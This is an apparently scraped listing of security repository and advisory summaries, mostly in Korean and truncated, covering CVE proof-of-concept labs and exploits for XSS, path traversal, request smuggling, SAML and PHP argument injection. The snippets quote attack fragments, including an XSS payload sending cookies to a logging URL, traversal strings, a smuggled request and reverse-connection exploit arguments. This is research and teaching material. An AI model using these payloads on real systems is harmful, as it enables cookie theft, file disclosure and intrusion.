CVE-2025-44136

CVE-2025-44136 MapTiler Tileserver-php v2.0의 인증되지 않은 XSS. 설명 MapTiler Tileserver-php v2.0은는 크로스 사이트 스크립팅XSS 취약점에 노출되어 있습니다. GET 매개변수 "layer"는 HTML 인코딩 없이 오류 메시지에 반영됩니다. 이로 인해 XSS가 발생하며, 인증되지 않은 공격자가 피해자의 브라우저에서 임의의 HTML 또는 JavaScript 코드를 실행할 수 있습니다...

CVE-2025-0108

CVE-2025-0108 — WebSecurity PoC 및 수정 이 저장소는 CVE-2025-0108 문제Nginx와 Apache 간의 경로 혼동/헤더 스머글링를 재현하고 완화하기 위한 소규모 랩 환경을 포함합니다. 이 과제의 목표는 다중 계층 스택Nginx - Flask 백엔드 - Apache/PHP에서 이중 인코딩된 요청이 인증을 우회할 수 있는 방법을 시연하고 백엔드 측 완화 방법을 보여주는 것입니다. 이 환경은 교육 목적으로만 제공됩니다. 목차 CVE-2025-0108/ — 취약한 구현PoC...

JQueryingU

JQueryingU 참고 사항: 기본 클라이언트 측 탐지 코드는 Christian Ludwighttps://jsfiddle.net/ChristianL/AVyND/가 작성했으며, 2016년 APT 29이 사용했습니다. APT 29은 팝업을 POST 요청으로 수정했고, 악성 페이로드를 보내기 전에 사용자 시스템과 클릭한 사용자를 프로파일링하기 위해 컨퍼런스 섀도잉 캠페인 중에 이를 사용했습니다. 코드는 APT 29이 사용한 일반 텍스트 POST 대신 Base64로 인코딩된 가짜 분석 GET 요청을 통해 정보를 전송하도록...

CVE-2025-61686_docker

CVE-2025-61686docker 시작 1.build docker-compose up --build 2.start docker-compose up 재현 절차 1.경로 탐색 조건에 맞는 session 구성 └─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-' | tr -d '=' IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 2.구성한 session을 Cookie에 넣고 요청 전송 └─$ curl -H 'Cookie:...

CVE-2021-42013

CVE-2021-42013 Contributor 석은호@eunho87 CVE-2021-42013 Apache http Server Path Traversal 취약점 요약 Apache HTTP Server 2.4.50의 경로 정규화 처리에 존재하는 버그로 인증 없이 임의 파일을 읽거나 원격 코드를 실행할 수 있다. CVE-2021-41773의 불완전한 패치로 인해 발생했으며 이중 URL 인코딩%%32%65을 통해 Apache의 경로 차단을 우회함. 참고 자료 NVD - CVE-2021-42013 Apache Security...

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

보안 권고: facil.io의 음수 청크 크기 파싱으로 인한 메모리 손상 배정된 CVE ID : CVE-2026-66731 제품: facil.io 영향받는 버전: facil.io = 0.7.5 0.7.5, 0.7.6, master; 0.7.5에서 0.8.x HTTP/1.1 파서가 백포트되면서 도입됨 - 0.6.x 또는 0.7.0–0.7.3에는 존재하지 않음 구성 요소: lib/facil/http/parsers/http1parser.h CWE: CWE-20 Improper Input Validation, CWE-682...

CVE-2025-32023

CVE-2025-32023 CVE-2025-32023에 대한 PoC 및 Exploit GHSA-rp2m-q4j6-gr43 / PlaidCTF 2025 "Zerodeo" 재현 / 패치 redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952에 대해 테스트했습니다. Redis 2.8 이상 버전에 영향을 미칩니다. 8.0.3, 7.4.5, 7.2.10, 6.2.19에서 패치되었습니다. redis/redis@5018874...

CVE-2020-25613

POC POST / HTTP/1.1 Host: 127.0.0.1:1080 Content-Type: text/html Content-Length: 129 Connection: keep-alive Transfer-Encoding: 0xb chunked 1 A 0 POST /flag HTTP/1.1 Host: 127.0.0.1:1080 Content-Length: 180 Connection: keep-alive Content-Type: text/html URI:...

webp_Android10_r33_CVE-2023-1999

/ \/ / / / \ \ / / \ / \//// / / / \ \ / / / / / / / \ \ / \ /////v1.0.2 설명: WebP 코덱: WebP 형식의 이미지를 인코딩하고 디코딩하는 라이브러리입니다. 이 패키지에는 다른 프로그램에서 WebP 지원을 추가하는 데 사용할 수 있는 라이브러리와 명령줄 도구 'cwebp' 및 'dwebp'가 포함되어 있습니다. http://developers.google.com/speed/webp 참조 최신 소스 트리는 다음에서 확인할 수 있습니다...

FreeBSD : libexpat -- Improper Handling of Unicode Encoding (7fed71c4-be3a-11f1-ab8d-00a0980083d7)

The version of FreeBSD installed on the remote host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the 7fed71c4-be3a-11f1-ab8d-00a0980083d7 advisory. https://github.com/libexpat/libexpat/pull/1282 reports: Expat before 2.8.5 fails to validate that a hig...

CVE-2024-4577-RCE-PoC

CVE-2024-4577 RCE 익스플로잇 PHP를 구현하는 동안 팀은 Windows 운영 체제 내의 인코딩 변환 Best-Fit 기능을 인지하지 못했습니다. 이로 인해 인증되지 않은 공격자가 특정 문자 시퀀스를 통해 이전 CVE-2012-1823 보호를 우회할 수 있습니다. 인수 주입 공격을 통해 원격 PHP 서버에서 임의 코드를 실행할 수 있습니다. 이 PoC는 학습 및 연구 목적으로만 제공됩니다. 불법 활동에 사용하지 마십시오; 모든 법적 책임은 사용자에게 있습니다. 이 취약점은DEVCORE @d3vc0r3의 Orange...

PoC-for-ME-SAML-Vulnerability

PoC-for-ME-SAML-Vulnerability cve-2022-47966용 PoC 테스트하려면 POST 요청으로 /SamlResponseServlet에 전송하세요. Base64로 인코딩하여 SAMLResponse 매개변수의 값으로 지정하고 전송하세요. 형식 POST /SamlResponseServlet HTTP/1.0 Host: SAMLResponse=&RelayState=...

jetty-line-check

jetty-line-check Which of these six 2026 CVEs has your Jetty or the Jetty pulled in by Spring Boot been hit by — and does the version the official guidance tells you to upgrade to actually exist on Maven Central? The headline is CVE-2026-2332 GHSA-355h-qmc2-wpwf, high / CVSS v3 7.4: chunked reque...

CVE-2026-50980

CVE-2026-50980: oPanel의 DNS 기반 크로스 사이트 스크립팅XSS 및 세션 하이재킹 개요 CVE ID: CVE-2026-50980 제품: oPanel 영향받는 버전: new Image.src='http://:/log?cookie='+document.cookie;...

cve-2014-0130

== CVE-2014-0130 테스트 사례 페이로드 : http://site/api/%5C../%5C../%5C../%5C../%5C../CATDIR === Netsparker 탐지됨 : https://i.imgur.com/s1vahmj.png == HackerOne 1 - newrelic.com Rails 디렉터리 트래버설 취약점 droidsec 제공 - https://hackerone.com/reports/134032 == 참조 1...

xinhu-v2.3.2

신후 v2.3.2 CVE-2023-1773을 위한 디버깅 환경 webmain/task/api/reimplatAction.php 파일에 디버깅 매개변수를 추가하여 인코딩 전후의 데이터를 프론트엔드로 반환합니다 신후 v2.3.2 소스 코드 rainrocka/xinhu at cb732f46f8f1e4614c8cfbef47a0bcbde6ecce34 구체적인 공격 과정은 CVE-2023-1773 | Target Machines WriteUp를 참조하세요...

CVE-2019-15715

CVE-2019-15715 이 저장소는 CVE-2019-15715에 대한 Python3 구현이며, Nikolas Geiselman이 이전에 여기에서 보고한 CVE-2019-15715의 개선에 초점을 맞추고, Python의 매개변수 구현을 추가하여 스크립트를 더 유연하게 만드는 것을 목표로 합니다. python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs...

CVE-2021-41773

CVE-2021-41773 Apache httpd 2.4.49 전용 교육 목적으로만 사용하십시오. 자세한 내용은 참조를 확인하십시오. 실행 $ git clone https://github.com/masahiro331/CVE-2021-41773.git $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run -d -p 8080:80 cve-2021-41773 익스플로잇 This vulnerability affects the use of Alias. $ curl...

lrs-pager-systems-bruteforce

lrs-pager-systems-bruteforce Long Range Pager Systems의 호출기 및 코스터, URH 및 YS1Yardstick One / cc11xx 정보 및 무차별 대입 도구 lrs-pager-systems-bruteforce Long Range Pager Systems의 호출기 및 코스터, URH 및 YS1Yardstick One / cc11xx 정보 및 무차별 대입 도구 HackRF One을 사용한 Tony Tiger의 기존 작업에서 영감을 받았습니다. 저는 LRS 송신기 튠업 매뉴얼을 사용하여 ...

CVE-2026-12243-NLTK-PoC

CVE-2026-12243 — NLTK 경로 탐색 실습 환경 NLTK 3.9.4의 퍼센트 인코딩 경로 탐색 동작과 NLTK 3.10.0의 수정된 동작을 대조하는 작고 재현 가능한 Docker 실습 환경입니다. 취약한 버전은 URL 디코딩 전에 리소스 이름을 검증합니다. 고정된 페이로드 %2e%2e/%2e%2e/outside/lab-secret.txt는 검증을 통과한 후 ../../outside/lab-secret.txt로 디코딩되어 구성된 NLTK 데이터 디렉터리와 프로세스 작업 디렉터리를 모두 벗어납니다. 패치된 버전은 동일...